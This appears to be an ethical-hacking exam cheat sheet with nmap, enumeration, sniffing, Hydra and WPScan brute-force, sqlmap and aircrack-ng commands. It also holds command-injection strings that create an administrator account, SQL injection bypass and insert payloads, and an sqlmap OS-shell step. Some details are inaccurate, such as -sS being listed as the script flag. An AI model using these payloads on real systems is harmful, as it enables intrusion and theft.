Scanning Networks (always do sudo su) --> To be root

1- Nmap scan for alive/active hosts command for 192.189.19.18- nmap -A 192.189.19.0/24 or nmap -T4 -A ip

2- Zenmap/nmap command for TCP scan- First put the target ip in the Target: and then in the Command: put this command-

nmap -sT -v 10.10.10.16

3- Nmap scan if firewall/IDS is opened, half scan- nmap -sS -v 10.10.10.16

If even this the above command is not working then use this command- namp -f 10.10.10.16

4- -A command is aggressive scan it includes - OS detection (-O), Version (-sV), Script (-sS) and traceroute (--traceroute).

5- Identify Target system os with (Time to Live) TTL and TCP window sizes using wireshark- Check the target ip Time to live

value with protocol ICMP. If it is 128 then it is windows, as ICMP value came from windows. If TTL is 64 then it is linux.

Every OS has different TTL. TTL 254 is solaris.

6- Nmap scan for host discovery or OS- nmap -O 192.168.92.10 or you can use nmap -A 192.168.92.10

7- If host is windows then use this command - nmap --script smb-os-discovery.nse 192.168.12.22 (this script determines the OS,

computer name, domain, workgroup, time over smb protocol (ports 445 or 139).

8- nmap command for source port manipulation, in this port is given or we use common port- nmap -g 80 10.10.10.10

Enumeration

1- NetBios enum using windows- in cmd type- nbtstat -a 10.10.10.10 (-a displays NEtBIOS name table)

2- NetBios enum using nmap- nmap -sV -v --script nbstat.nse 10.10.10.16

3- SNMP enum using nmap- nmap -sU -p 161 10.10.10.10 (-p 161 is port for SNMP)--> Check if port is open

snmp-check 10.10.10.10 (It will show user accounts, processes etc) --> for parrot

4- DNS recon/enum- dnsrecon -d www.google.com -z

5- FTP enum using nmap- nmap -p 21 -A 10.10.10.10

6- NetBios enum using enum4linux- enum4linux -u martin -p apple -n 10.10.10.10 (all info)

enum4linux -u martin -p apple -P 10.10.10.10 (policy info)

Quick Overview (Stegnography) --> Snow , Openstego

1- Hide Data Using Whitespace Stegnography- snow -C -m "My swiss account number is 121212121212" -p "magic" readme.txt readme2.txt

(magic is password and your secret is stored in readme2.txt along with the content of readme.txt)

2- To Display Hidden Data- snow -C -p "magic" readme2.txt (then it will show the content of readme2.txt content)

3- Image Stegnography using Openstego- PRACTICE ??

Sniffing

1- Password Sniffing using Wireshark- In pcap file apply filter: http.request.method==POST (you will get all the post request)

Now to capture password click on edit in menu bar, then near Find packet section, on the "display filter" select "string",

also select "Packet details" from the drop down of "Packet list", also change "narrow & wide" to "Narrow UTF-8 & ASCII", and

then type "pwd" in the find section.

Hacking Web Servers

1- Footprinting web server Using Netcat and Telnet- nc -vv www.movies.com 80

GET /HTTP/1.0

telnet www.movies.com 80

GET /HTTP/1.0

2- Enumerate Web server info using nmap- nmap -sV --script=http-enum www.movies.com

3- Crack FTP credentials using nmap- nmap -p 21 10.10.10.10 (check if it is open or not)

ftp 10.10.10.10 (To see if it is directly connecting or needing credentials)

Then go to Desktop and in Ceh tools folder you will find wordlists, here you will find usernames and passwords file.

Now in terminal type- hydra -L /home/attacker/Desktop/CEH_TOOLS/Wordlists/Username.txt -P /home/attacker/Desktop/CEH_TOOLS/Wordlists/

Password.txt ftp://10.10.10.10

```
hydra -l user -P passlist.txt ftp://10.10.10.10
```

Hacking Web Application

1- Scan Using OWASP ZAP (Parrot)- Type zaproxy in the terminal and then it would open. In target tab put the url and click automated scan.

2- Directory Bruteforcing- gobuster dir -u 10.10.10.10 -w /home/attacker/Desktop/common.txt

3- Enumerate a Web Application using WPscan & Metasploit BFA- wpscan --url http://10.10.10.10:8080/NEW --enumerate u (u means username)

Then type msfconsole to open metasploit. Type - use auxilliary/scanner/http/wordpress_login_enum

show options

set PASS_FILE /home/attacker/Desktop/Wordlist/password.txt

set RHOSTS 10.10.10.10 (target ip)

set RPORT 8080 (target port)

set TARGETURI http://10.10.10.10:8080/

set USERNAME admin

4- Brute Force using WPscan - wpscan --url http://10.10.10.10:8080/NEW -u root -P passwdfile.txt (Use this only after enumerating

the user like in step 3)

wpscan --url http://10.10.10.10:8080/NEW --usernames userlist.txt, --passwords passwdlist.txt

5- Command Injection- | net user (Find users)

| dir C:\ (directory listing)

| net user Test/Add (Add a user)

| net user Test (Check a user)

| net localgroup Administrators Test/Add (To convert the test account to admin)

| net user Test (Once again check to see if it has become administrator)

Now you can do a RDP connection with the given ip and the Test account which you created.

SQL Injection

1- Auth Bypass- hi'OR 1=1 --

2- Insert new details if sql injection found in login page in username tab enter-

blah';insert into login values('john','apple123');--

3- Exploit a Blind SQL Injection- In the website profile, do inspect element and in the console tab write - document.cookie

Then copy the cookie value that was presented after this command. Then go to terminal and type this command,

sqlmap -u "http://www.xyz.com/profile.aspx?id=1" --cookie="[cookie value that you copied and don't remove

square brackets]"

--dbs

4- Command to check tables of database retrieved- sqlmap -u "http://www.xyz.com/profile.aspx?id=1" --cookie="

[cookie value that you copied and don't remove square brackets]" -D databasename --tables

5- Select the table you want to dump- sqlmap -u "http://www.xyz.com/profile.aspx?id=1" --cookie="

[cookie value that you copied and don't remove square brackets]" -D databasename -T Table_Name --dump

(Get username and password)

6- For OS shell this is the command-   sqlmap -u "http://www.xyz.com/profile.aspx?id=1" --cookie="[cookie value that you copied and don't remove square brackets]" --os-shell

6.1 In the shell type-   TASKLIST (to view the tasks)

6.2 Use systeminfo for windows to get all os version

6.3 Use uname -a for linux to get os version

Android

1- nmap ip -sV -p 5555   (Scan for adb port)

2- adb connect IP:5555   (Connect adb with parrot)

3- adb shell   (Access mobile device on parrot)

4- pwd --> ls --> cd sdcard --> ls --> cat secret.txt (If you can't find it there then go to Downloads folder using: cd downloads)

Wireshark

tcp.flags.syn == 1 and tcp.flags.ack == 0   (How many machines) or Go to statistics IPv4 addresses--> Source and Destination ---> Then you can apply the filter given

tcp.flags.syn == 1   (Which machine for dos)

http.request.method == POST   (for passwords) or click tools ---> credentials

Also

Find FQDN

nmap -p389 –sV -iL <target_list> or nmap -p389 –sV <target_IP> (Find the FQDN in a subnet/network)

Cracking Wi-Fi Networks

Cracking Wifi Password

aircrack-ng [pcap file] (For cracking WEP network)

aircrack-ng -a2 -b [Target BSSID] -w [password_Wordlist.txt] [WP2 PCAP file] (For cracking WPA2 or other networks through the captured .pcap file)

Some Extra work

Check RDP enabled after getting ip- nmap -p 3389 -iL ip.txt | grep open (ip.txt contains all the alive hosts from target subnet)

Check MySQL service running- nmap -p 3306 -iL ip.txt | grep open   (ip.txt contains all the alive hosts from target subnet)